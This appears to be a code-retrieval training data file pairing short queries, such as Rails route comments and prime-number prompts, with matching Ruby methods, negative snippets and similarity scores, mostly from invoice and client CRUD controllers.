format.html { redirect_to @add_to_invoice_client, notice: 'Add to invoice client was successfully created.' }
format.json { render :show, status: :created, location: @add_to_invoice_client }
else
format.html { render :new }
format.json { render json: @add_to_invoice_client.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @invoice_client = InvoiceClient.new(invoice_client_params)\n\n respond_to do |format|\n if @invoice_client.save\n format.html { redirect_to @invoice_client, notice: 'Invoice client was successfully created.' }\n format.json { render :show, status: :created, location: @invoice_client }\n else\n format.html { render :new }\n format.json { render json: @invoice_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_add_to_invoice_client\n @add_to_invoice_client = AddToInvoiceClient.find(params[:id])\n end",
"def client_create_invoice(client_id, invoice, options={})\n raise(ArgumentError, \"invoice has the wrong type\") unless invoice.is_a?(Invoicexpress::Models::Invoice)\n\n params = {\n :klass => Invoicexpress::Models::Invoice,\n :body => invoice\n }\n\n post(\"clients/#{client_id}/create/invoice.xml\", params.merge(options))\n end",
"def create\n @invoice = Invoice.new(invoice_params)\n # @invoice.sender_address = SenderAddress.new(invoice_params[:sender_address])\n # @invoice.client_address = ClientAddress.new(invoice_params[:client_address])\n if @invoice.save\n render :show, status: :created, location: @invoice\n else\n render json: @invoice.errors, status: :unprocessable_entity\n end\n end",
"def create\n @invoice = Invoice.new(params[:invoice])\n @invoice.client_id = params[:clients]\n @invoice.discount_id = params[:discount_id]\n @invoice.tax_id = params[:tax_id]\n @invoice.status = Invoice::DRAFT\n @invoice.year = @counter.year\n @invoice.invoice_id = @counter.number\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render json: @invoice, status: :created, location: @invoice }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def invoice_client_params\n params.require(:invoice_client).permit(:Id_Invoice_Client, :Client_Id, :Id_Product_id, :Net_Value, :Brute_Value, :IVA,\n add_to_invoice_attributes: [:id, :invoice_id, :product_id, :price, :quantity, :total_product_amount])\n end",
"def add_client(person)\n @clients << person\n end",
"def add_client(person)\n @clients << person\n end",
"def client_create_cash_invoice(client_id, invoice, options={})\n raise(ArgumentError, \"invoice has the wrong type\") unless invoice.is_a?(Invoicexpress::Models::CashInvoice)\n\n params = {\n :klass => Invoicexpress::Models::CashInvoice,\n :body => invoice\n }\n\n post(\"clients/#{client_id}/create/cash-invoice.xml\", params.merge(options))\n end",
"def add_client\n\n\t\t@clients = Client.new(client_params)\n\t\tif @clients.save\n\t\t\tredirect_to '/details'\n\t\telse\n\t\t\trender 'index'\n\t\tend\n\tend",
"def customer_new_invoice\n @invoice = Invoice.new\n @services = []\n customer_id = params[:customer_id]\n @customer = Customer.find_by_id(customer_id)\n @company = Company.find_by_id(current_user.company_id)\n end",
"def add_invoice\n if invoice_exist?\n update_invoice\n else\n Invoice.insert(invoice_number: invoice, rate: rate, hours: hours, amount: amt, client_id: client_id, post_date: post_date, provider_id: provider.id, client_name: client_name.strip)\n end\n end",
"def add_invoice(parameters, options)\n parameters[:OrderID] = options[:order_id]\n parameters[:ClientField2] = options[:description] if options[:description]\n end",
"def add_to_invoice_client_params\n params.require(:add_to_invoice_client).permit(:Document_ID_id, :Product_Id_id, :Quantity, :Previous_Quantity, :Post_Quantity)\n end",
"def set_invoice_client\n @invoice_client = InvoiceClient.find(params[:id])\n end",
"def add_client\n name = get_answer_to(\"What is the client\\'s name?\")\n age = get_answer_to(\"What is the client\\'s age?\")\n new_client = Clients.new(name, age)\n @clients << new_client\n end",
"def create\n if params['q_param']['quote_id']!=nil\n @quote_id=params['q_param']['quote_id']\n @quote=Quote.find(@quote_id)\n client_id= @quote.client_id\n list=@quote.list\n total=@quote.total\n tax_rate=@quote.tax_rate\n @quote.update({:status=>2})\n title=@quote.title\n comment=@quote.comment\n else \n client_id=params['q_param']['client']\n @quote_id=nil\n list=nil\n total=nil\n tax_rate=nil\n title=params['q_param']['title']\n comment=params['q_param']['comment']\n end\n @client=Client.find_by_id(client_id)\n invoice_p={:title=>title,:comment=>comment,:quote_id=>@quote_id,:total=>total,:list=>list,:tax_rate=>tax_rate,}\n @invoice = @client.invoices.create(invoice_p)\n render json: {:invoice_id=>@invoice.id}\n end",
"def client_invoices(client_id, filter=Invoicexpress::Models::Filter.new, options={})\n raise(ArgumentError, \"filter has the wrong type\") unless filter.is_a?(Invoicexpress::Models::Filter)\n\n params = {\n :klass => Invoicexpress::Models::ClientInvoices,\n :per_page => 10,\n :page => 1,\n :body => filter\n }\n\n post(\"clients/#{client_id.to_s}/invoices.xml\", params.merge(options))\n end",
"def add_client(client, clients)\n\tclients << client\nend",
"def index\n @add_to_invoice_clients = AddToInvoiceClient.all\n end",
"def add_client(client)\n @clients.push(client)\n end",
"def create\n @client = Client.create(client_params)\n @clients = Client.all\n flash[:notice]=\"client créé avec succès!!!\"\n end",
"def create\n\n @client = Client.new(client_params)\n @client.business_owner_id = helpers.current_business_owner.id\n\n if @client.save\n flash[:notice] = \"#{@client.name} was added as a new client.\"\n redirect_to clients_path\n else\n render :new\n end\n end",
"def create\n @invoice_row = @invoice.invoice_rows.create(invoice_row_params)#InvoiceRow.new(invoice_row_params)\n\n respond_to do |format|\n if @invoice_row.save\n format.html { redirect_to edit_invoice_path(@invoice), notice: 'Invoice row was successfully created.' }\n format.json { render action: 'show', status: :created, location: @invoice_row }\n else\n format.html { render action: 'new' }\n format.json { render json: @invoice_row.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = clients.new(params[:client])\n\n if @client.save\n flash[:notice] = 'Customer was successfully created.'\n redirect_to(user_company_clients_url(current_company))\n else\n render :action => \"new\"\n end\n end",
"def update\n respond_to do |format|\n if @add_to_invoice_client.update(add_to_invoice_client_params)\n format.html { redirect_to @add_to_invoice_client, notice: 'Add to invoice client was successfully updated.' }\n format.json { render :show, status: :ok, location: @add_to_invoice_client }\n else\n format.html { render :edit }\n format.json { render json: @add_to_invoice_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add(client); end",
"def create\n\n client = Cliente.new\n\n client.nombre = params[:nombre]\n client.cedula = params[:cedula]\n client.pagina = params[:pagina]\n\n client.dirrecion = params[:dirrecion]\n client.telefono = params[:telefono]\n \n client.sector = params[:sector]\n \n\n if client.save\n \n\n render(json: client,status: 201 ,location: client)\n else\n\n render(json: client.errors,status: 422 )\n\n end\n end",
"def create\n client= Client.new\n client.cedula= params[:cedula]\n client.sector= params[:sector]\n client.nombre= params[:nombre]\n client.telefono= params[:telefono]\n client.pagina= params[:pagina]\n client.direccion= params[:direccion]\n if client.save\n render(json: client, status: 201 , location: client)\n else \n render(json: client.errors, status: 422)\n end\n end",
"def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to clients_url, notice: 'El cliente se creó correctamente' }\n format.json { render :index, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.738595",
"0.72208",
"0.7052914",
"0.687583",
"0.68465",
"0.6823549",
"0.6669712",
"0.6669712",
"0.6632753",
"0.66318595",
"0.6628149",
"0.66159445",
"0.6554154",
"0.652998",
"0.6514697",
"0.6431596",
"0.6422484",
"0.6376579",
"0.63599044",
"0.63430625",
"0.63147825",
"0.6305849",
"0.63002133",
"0.62998444",
"0.62739915",
"0.6265882",
"0.62569785",
"0.62542546",
"0.6251878",
"0.6247357"
] | 0.7642035 | 0 |
PATCH/PUT /add_to_invoice_clients/1 PATCH/PUT /add_to_invoice_clients/1.json | def update
respond_to do |format|
if @add_to_invoice_client.update(add_to_invoice_client_params)
format.html { redirect_to @add_to_invoice_client, notice: 'Add to invoice client was successfully updated.' }
format.json { render :show, status: :ok, location: @add_to_invoice_client }
else
format.html { render :edit }
format.json { render json: @add_to_invoice_client.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_add_to_invoice_client\n @add_to_invoice_client = AddToInvoiceClient.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @invoice_client.update(invoice_client_params)\n format.html { redirect_to @invoice_client, notice: 'Invoice client was successfully updated.' }\n format.json { render :show, status: :ok, location: @invoice_client }\n else\n format.html { render :edit }\n format.json { render json: @invoice_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @add_to_invoice_client = AddToInvoiceClient.new(add_to_invoice_client_params)\n\n respond_to do |format|\n if @add_to_invoice_client.save\n format.html { redirect_to @add_to_invoice_client, notice: 'Add to invoice client was successfully created.' }\n format.json { render :show, status: :created, location: @add_to_invoice_client }\n else\n format.html { render :new }\n format.json { render json: @add_to_invoice_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invoice = Invoice.find(params[:id])\n @invoice.year = Date.today.year\n\n @invoice.client_id = params[:clients]\n @invoice.discount_id = params[:discount_id]\n @invoice.tax_id = params[:tax_id]\n\n\n respond_to do |format|\n if @invoice.update_attributes(params[:invoice])\n format.html { redirect_to @invoice, notice: 'Invoice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n params[:client][:contact_ids] ||= []\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to @client, notice: 'Client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client.update(client_params)\n render json: @client\n end",
"def update\n client=Client.find_by_id params[:id]\n if client!= nil\n client.cedula=params[:cedula] ? params[:cedula]: client.cedula\n client.sector=params[:sector] ? params[:sector]: client.sector\n client.nombre=params[:nombre] ? params[:nombre]: client.nombre\n client.telefono=params[:telefono] ? params[:telefono]: client.telefono\n client.pagina=params[:pagina] ? params[:pagina]: client.pagina\n client.direccion=params[:direccion] ? params[:direccion]: client.direccion\n if client.save\n render(json: client, status: 201)\n end \n else\n render(json: client.errors, status: 404)\n end \n end",
"def invoice_client_params\n params.require(:invoice_client).permit(:Id_Invoice_Client, :Client_Id, :Id_Product_id, :Net_Value, :Brute_Value, :IVA,\n add_to_invoice_attributes: [:id, :invoice_id, :product_id, :price, :quantity, :total_product_amount])\n end",
"def create\n @invoice_client = InvoiceClient.new(invoice_client_params)\n\n respond_to do |format|\n if @invoice_client.save\n format.html { redirect_to @invoice_client, notice: 'Invoice client was successfully created.' }\n format.json { render :show, status: :created, location: @invoice_client }\n else\n format.html { render :new }\n format.json { render json: @invoice_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_invoice_client\n @invoice_client = InvoiceClient.find(params[:id])\n end",
"def add_to_invoice_client_params\n params.require(:add_to_invoice_client).permit(:Document_ID_id, :Product_Id_id, :Quantity, :Previous_Quantity, :Post_Quantity)\n end",
"def add_approver\n\n # get the client\n @client = Client.find(params[:client_id])\n\n # get the contract\n @contract = Contract.find(params[:id])\n\n # get approvers not already assigned to the contract\n @approvers = @client.unassigned_approvers_for_contract(@contract)\n\n end",
"def update_client\n\t\t@client = Client.find(params[:id])\n\n\t \trespond_to do |format|\n\t\t if @client.update_attributes(client_update_params)\n\t\t format.html { redirect_to(@client, :notice => 'Entry was successfully updated.') }\n\t\t format.json { respond_with_bip(@client) }\n\t\t else\n\t\t format.html { render :action => \"edit\" }\n\t\t format.json { respond_with_bip(@client) }\n\t\t end\n\n \t end\n\tend",
"def update\n \n @invoice_item.update(@invoice_item)\n respond_with(@invoice)\n \n end",
"def create\n @invoice = Invoice.new(params[:invoice])\n @invoice.client_id = params[:clients]\n @invoice.discount_id = params[:discount_id]\n @invoice.tax_id = params[:tax_id]\n @invoice.status = Invoice::DRAFT\n @invoice.year = @counter.year\n @invoice.invoice_id = @counter.number\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render json: @invoice, status: :created, location: @invoice }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n\n @client.redirect_urls << client_params[:add_redirect_url] if client_params[:add_redirect_url]\n \n @client.app_ids << BSON::ObjectId.new.to_s if client_params[:add_app_id]\n \n \n @client.versioned_update({\"redirect_urls\" => 1, \"app_ids\" => 1})\n\n if @client.op_success?\n render \"show\"\n else\n render \"edit\"\n end\n \n end",
"def update\n record = InvoiceLineItem.find(params[:id])\n print record.to_json\n record.update_attributes(params[:record]) \n respond_to do |format|\n format.html\n format.json {\n render json: {}\n }\n end\n end",
"def update\n authorize! :update, Client\n load_client\n build_client\n save_client or render :edit\n end",
"def edit\n respond_with(invoice)\n end",
"def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"def update\n respond_to do |format|\n begin\n ActiveRecord::Base.transaction do\n @client.update!(client_params)\n @client.address.update!(address_params)\n end\n format.html { redirect_to @client, notice: 'Client was successfully updated.' }\n format.json { render :show, status: :ok, location: @client }\n rescue\n format.html { render :edit }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to @client, :notice => 'El cliente se ha actualizado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def client_params\n params.require(:client).permit(:clientid, :izb_productid, :name, :surname, :email, :phone, :update_rules, :client_lines)\n end",
"def update\n @clients = get_clients\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n @clients = get_clients\n #format.html { redirect_to @client, notice: 'Client was successfully updated.' }\n format.json { head :no_content }\n format.js\n else\n #format.html { render action: \"index\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def update\n @invoice = Invoice.find(params[:id])\n title=params['q_param']['title']\n total=params['q_param']['total']\n tax_rate=params['q_param']['tax_rate']\n l=params['q_param']['list']\n comment=params['q_param']['comment']\n list=Array.new\n l.keys.each do |j|\n list << [l[j][0],l[j][1],l[j][2],l[j][3]]\n end\n invoice={:title=>title,:total=>total,:list=>list,:tax_rate=>tax_rate,:comment=>comment}\n @invoice.update(invoice)\n format.json { head :no_content }\n end",
"def edit_client\n\t\t@client = Client.find(params[:id])\n\tend",
"def invoice_params\n params.require(:invoice).permit(:id, :total_amount, :user_id, :client_id)\n end",
"def update\n client_id = params[:contact].delete(:client_id)\n @contact = Contact.find(params[:id])\n @contact.client = Client.find(client_id.to_i)\n\n respond_to do |format|\n if @contact.update_attributes(params[:contact])\n format.html { redirect_to @contact, notice: 'Contact was successfully updated.' }\n format.js\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.js { render action: \"edit\" }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client = Client.find(params[:id])\n\n respond_to do |format|\n if @client.update_attributes(params[:client])\n format.html { redirect_to @client, :notice => 'Klijent je uspjesno izmjenjen.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_resources(client_id)\n response = self.class.put(\"https://app.klipfolio.com/api/1.0/clients/#{client_id}/resources\", basic_auth: @auth, headers: { \"Content-Type\" => \"application/json\" },\n body: {\n \"resources\": [{\"name\":\"dashboard.tabs.total\", \"value\":1}]\n }.to_json)\n puts response.body\n puts \"Client's resources were updated.\" if response.success?\n end"
] | [
"0.7017008",
"0.66069436",
"0.65610534",
"0.6534315",
"0.63927615",
"0.6318801",
"0.627153",
"0.6178868",
"0.6139412",
"0.61034495",
"0.60381085",
"0.6031321",
"0.6025716",
"0.60146654",
"0.6012826",
"0.5957123",
"0.59284973",
"0.59184146",
"0.5883507",
"0.5863886",
"0.58625543",
"0.5843204",
"0.57934874",
"0.5791207",
"0.5782549",
"0.5771398",
"0.5771277",
"0.5756031",
"0.57512444",
"0.57491285"
] | 0.72571063 | 0 |
DELETE /add_to_invoice_clients/1 DELETE /add_to_invoice_clients/1.json | def destroy
@add_to_invoice_client.destroy
respond_to do |format|
format.html { redirect_to add_to_invoice_clients_url, notice: 'Add to invoice client was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @invoice = Invoice.find(params[:invoice_id])\n @client = @invoice.clients.find(params[:id])\n @client.destroy\n redirect_to invoice_path(@invoice)\n end",
"def destroy\n @invoice_client.destroy\n respond_to do |format|\n format.html { redirect_to invoice_clients_url, notice: 'Invoice client was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n record = InvoiceLineItem.find(params[:id])\n record.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice_addon_line_item.destroy\n respond_to do |format|\n format.html { redirect_to invoice_addon_line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice_row.destroy\n respond_to do |format|\n format.html { redirect_to invoice_rows_url }\n format.json { head :no_content }\n end\n end",
"def test_delete_invoice_resource\n resource = :invoice\n\n x = Billomat.res(resource).last\n id = x.id\n\n client_id = x.client_id\n\n x.destroy\n\n assert_raise ActiveResource::ResourceNotFound do\n Billomat.res(resource).find(id)\n end\n\n # Clean up the client created in test_create_invoice_resource\n Billomat.res(:client).find(client_id).destroy\n end",
"def destroy\n @invoice.destroy\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n \n if @client.deleted_at.blank?\n @client.destroy\n else\n @client.revive\n end\n \n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :ok }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice_item.destroy\n respond_with(@invoice)\n \n end",
"def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @qa_client = QaClient.find(params[:id])\n @qa_client.destroy\n\n respond_to do |format|\n format.html { redirect_to qa_clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_client = ApiClient.find(params[:id])\n @api_client.destroy\n\n respond_to do |format|\n format.html { redirect_to api_clients_url }\n format.json { head :no_content }\n end\n end",
"def test_delete_invoice_resource\n resource = :offer\n\n x = Billomat.res(resource).last\n id = x.id\n\n client_id = x.client_id\n\n x.destroy\n\n assert_raise ActiveResource::ResourceNotFound do\n Billomat.res(resource).find(id)\n end\n\n # Clean up the client created in test_create_invoice_resource\n Billomat.res(:client).find(client_id).destroy\n end"
] | [
"0.7505724",
"0.74196774",
"0.7063647",
"0.69594336",
"0.6917375",
"0.6893945",
"0.6871842",
"0.68361527",
"0.6819126",
"0.68055856",
"0.68055856",
"0.680429",
"0.67959785",
"0.67959785",
"0.67959785",
"0.67959785",
"0.67959785",
"0.67959785",
"0.67959785",
"0.67959785",
"0.67959785",
"0.6795419",
"0.6794927",
"0.6794927",
"0.6794927",
"0.6794927",
"0.6793546",
"0.6792941",
"0.6792807",
"0.6776586"
] | 0.7759643 | 0 |
total_cost_eq == 1 => Bonificados => total_cost_eq = 0.0 total_cost_eq == 2 => No Bonificados => total_cost_gt = 0.0 | def setup_cost_types
q = params[:q]
t = q[:total_cost_eq].to_i
if t == TechnicalServicesHelper::COST_TYPE_FREE
q[:total_cost_eq] = '0.0'
elsif t == TechnicalServicesHelper::COST_TYPE_NONFREE
q[:total_cost_gt] = '0.0'
q.delete(:total_cost_eq)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_additional_cost_totals\n pos_cost = 0.0 # init result\n neg_cost = 0.0 # init result\n AppParameterCustomizations.get_receipt_costs().each do |c|\n if c[:value] > 0\n pos_cost += c[:value].to_f / 100.0\n elsif self.price >= 78.19\n neg_cost += c[:value].to_f / 100.0 unless self.patient.is_a_firm?\n end\n end\n return { :negative => neg_cost, :positive => pos_cost }\n end",
"def cost\r\n 0\r\n end",
"def actual_cost\n self.cost/1000.to_f\n end",
"def cost\n 0.99\n end",
"def cost\n @cost = 0.99\n end",
"def cost\r\n\t\t@lr.compute_cost.class != NaN\r\n\tend",
"def cost\n @cost = 0.89\n end",
"def cost\r\n\t\treturn @extra_cost + @real_need.cost\r\n\tend",
"def included_in_cost\n false\n end",
"def cost\n 0.89\n end",
"def true_cost\n # convert to array so it doesn't try to do sum on database directly\n #items.to_a.reject{|item|item.itemable_type == \"ServiceGroup\"}.sum(&:cost)\n items.collect.sum(&:cost)\n end",
"def cost\n @cost = 1.99\n end",
"def min_cost?\n false\n end",
"def product_cost\n product_with_unit_cost + product_without_unit_cost\n end",
"def cost\n 1.99\n end",
"def total_costs\n fixed_costs + variable_costs\n end",
"def free?\n \tcost.zero?\n end",
"def test_total_cost\n assert_equal(46.0, @check_test.total_cost)\n end",
"def gift_cost gift_counts, costs\n black_count, white_count = gift_counts\n black_cost, white_cost, conversion_cost = costs\n \n if conversion_cost + [black_cost, white_cost].min >= [black_cost, white_cost].max \n # just buy what we need, dont do any converting\n return (black_count * black_cost) + (white_count * white_cost)\n else\n # its better to buy all cheapest and convert what we need to the other\n cost = [black_cost, white_cost].min * gift_counts.reduce(&:+)\n if black_cost < white_cost\n cost += white_count * conversion_cost\n else\n cost += black_count * conversion_cost\n end\n return cost\n end\n \nend",
"def free?\n cost.zero?\n end",
"def total_cost\n [executor_cost, team_lead_cost, account_manager_cost].compact.inject(&:+)\n end",
"def calculate_total_cost(a, stripped_row, k)\n total_cost = 0\n count = 0\n sum = 0\n delivery = \"\"\n mul_value = (a[:\"Cost Per GB\"].to_i * stripped_row[1].to_i)\n if mul_value >= a[:\"Minimum Cost\"].to_i\n if count > 0\n if mul_value < sum\n sum = mul_value\n delivery = k\n total_cost = sum\n return total_cost, delivery\n end\n else\n sum = mul_value\n count += 1\n total_cost = sum\n delivery = k\n return total_cost, delivery\n end\n end\n end",
"def total_costs\n fetch(:total_costs) do\n fixed_costs + variable_costs if fixed_costs && variable_costs\n end\n end",
"def cost_difference\n cost - estimated_cost\n end",
"def unit_cost\n @unit_cost ||= component ? component.cost : 0\n end",
"def test_cost\n \n assert_equal(@check_test.cost, @check_test.cost.to_i)\n end",
"def cost\n total = 0.0\n not_covered.each do |n|\n total += n.cost\n end\n total\n end",
"def cost\n start_value\n end",
"def cost\n # Todo pull this from the DB\n 1000\n end",
"def calc_total_cost()\n\t\ttotal_cost = @cost.to_i * 0.9\n\tend"
] | [
"0.67882574",
"0.6754116",
"0.66849685",
"0.6670508",
"0.6661727",
"0.6647963",
"0.66120714",
"0.655944",
"0.6557145",
"0.65470785",
"0.65313643",
"0.6482869",
"0.6468283",
"0.64645904",
"0.6463388",
"0.64595664",
"0.64561355",
"0.6446921",
"0.6423496",
"0.6417987",
"0.6413502",
"0.64112365",
"0.64053136",
"0.63961214",
"0.6395875",
"0.63856894",
"0.63819027",
"0.6372534",
"0.6357183",
"0.6355706"
] | 0.6960923 | 0 |
=> true Write a function to generate/print/store the first "n" prime numbers. | def first_n_prime(n)
p Prime.first(n)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def nth_prime(n)\n\nend",
"def nthPrime(nth)\n # TODO\nend",
"def nth_prime(n)\n i = 0\n num = 1\n if n == 0\n return nil\n end\n while i < n\n num += 1\n i += 1 if is_prime?(num)\n\n end\n num\nend",
"def nth_prime( n )\n\n prime_number_array = prime_num_gen( n + 1 )\n\n p prime_number_array[n]\n\n return prime_number_array[n]\n\nend",
"def is_prime?(n)\n end",
"def nth_prime(n)\n number = 1\n counter = 0\n until counter == n\n if is_prime?(number) == true\n counter += 1\n end\n number += 1\n end\n return number - 1\nend",
"def primes(n)\nend",
"def prime(n)\n\tif $primes[n] then\n\t\t$primes[n]\n\telse\n while n - $primes.length > 100\n prime (n + $primes.length) / 2\n end\n\t\tc = prime(n-1) + 2\n\t\ti = 1\n\t\twhile $primes[i]**2 <= c\n\t\t\tif c % $primes[i] == 0\n\t\t\t\tc += 2\n\t\t\t\ti = 1\n\t\t\telse\n\t\t\t\ti += 1\n\t\t\tend\n\t\tend\n\t\t$primes[n] = c\n\tend\nend",
"def first_n_primes(n)\n\t return \"n must be an integer.\" unless n.is_a? Integer\n\t return \"n must be greater than 0.\" if (n<=0)\n\n prime_array||=[]\n\tprime = Prime.new\n\tn.times {prime_array << prime.next } \n\tprime_array\nend",
"def isprime(n)\n\tif n == 1\n\t\treturn false \n\tend \n\tif n == 2 \n\t\treturn true \n\tend \n\tx = 2\n\tloop do \n\t\tif n % x == 0\n\t\t\treturn false \n\t\tend\n\t\tx = x + 1 \n\t\tif x == n\n\t\t\tbreak\n\t\tend \n\t\t\n\tend \n\treturn true\nend",
"def first_n_primes(n)\n\n return \"n must be an integer.\" unless n.is_a? Integer\n return \"n must be greater than 0.\" if n <= 0\n \n prime_array ||= []\n \n prime = Prime.new\n n.times {\n prime_array << prime.next \n }\n prime_array\nend",
"def print_prime\n @n_primes = get_n_primes\n return [] if @n_primes == 0\n p_arr_len = @prime_numbers.length\n return @prime_numbers[0..@n_primes] if p_arr_len >= @n_primes\n (p_arr_len > 1) ? (n = @prime_numbers.last) : (n = 3)\n until @prime_numbers.length == @n_primes do\n @prime_numbers.push(n) if @prime_cache[n]\n (@prime_numbers.push(n) && @prime_cache[n] = true) if is_prime(n)\n n += 1\n end\n @prime_numbers\n end",
"def nth_prime(n)\n primes = []\n\tint = 2\n\tuntil primes.length == n\n if int <= 3\n primes << int\n else\n primes << int if (2..Math.sqrt(int)).all? { |x| int % x != 0 }\n end\n if int < 3\n int += 1\n else\n int += 2\n end\n end\n puts \"Prime number #{n} is #{primes.last}\"\nend",
"def findingPrime(n, prime)\n\tprime_counter = 0\n\tindex = 0\n\n\tuntil n < prime**index\n\t\tindex += 1 \n\t\tprime_counter += (n / (prime**index))\n\tend\n\n\tputs \"The #{prime} factor appears #{prime_counter} time(s) in the result of #{n}!\"\nend",
"def prime?(n)\n if n <= 1\n return false\n elsif n <= 3\n return true\n else (2..n/2).none? do |x|\n n % x == 0\n end\n end\nend",
"def first_n_primes(n)\n\n \"n must be an integer.\" unless n.is_a? Integer\n\n \"n must be greater than 0.\" if n <= 0\n \n prime_array ||= []\n \n prime = Prime.new\n n.times { prime_array << prime.next }\nend",
"def next_prime(n=1)\n apply(n, &:get_next_prime)\n end",
